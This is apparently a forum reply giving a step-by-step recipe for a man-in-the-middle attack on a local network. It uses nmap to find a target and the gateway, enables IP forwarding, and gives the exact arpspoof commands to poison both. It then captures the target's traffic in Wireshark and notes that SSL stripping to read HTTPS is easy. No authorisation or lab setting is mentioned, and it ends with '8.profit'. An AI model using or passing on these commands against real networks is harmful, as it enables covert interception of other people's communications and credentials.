I would use Kali, arpspoof your target and gateway and then open wireshark
1.Open Kali and connect to the network
2.Identify your interface (eth0 or wlan0)
3.Identify your target's ip address with nmap. Also make sure to identify the gateway address.
Example:
nmap 192.168.1.0/24
- Let's assume our target is 192.168.1.50
- Let's assume our gateway is 192.168.1.254
4.setup your kali box to forward ip traffic
echo 1 > /proc/sys/net/ipv4/ip_forward
Make sure you include the target in the arpspoof otherwise you will poison the entire network and you're going to have a bad time
5.aprspoof your gateway and tell it to associate your mac address with the target's ip address
arpspoof -i wlan0 -t 192.168.1.254 192.168.1.50
6. arpsoof your target and tell it to associate your ip with the gateway's mac address
arpspoof -i wlan0 -t 192.168.1.50 192.168.1.254
7. open wireshark and use your interface (wlan0 in my example)
8.profit
--As a side note it is easy to SSL strip from this point as well if you wanted to see what was being sent over HTTPS
You can read more here on arpspoofing (not my site)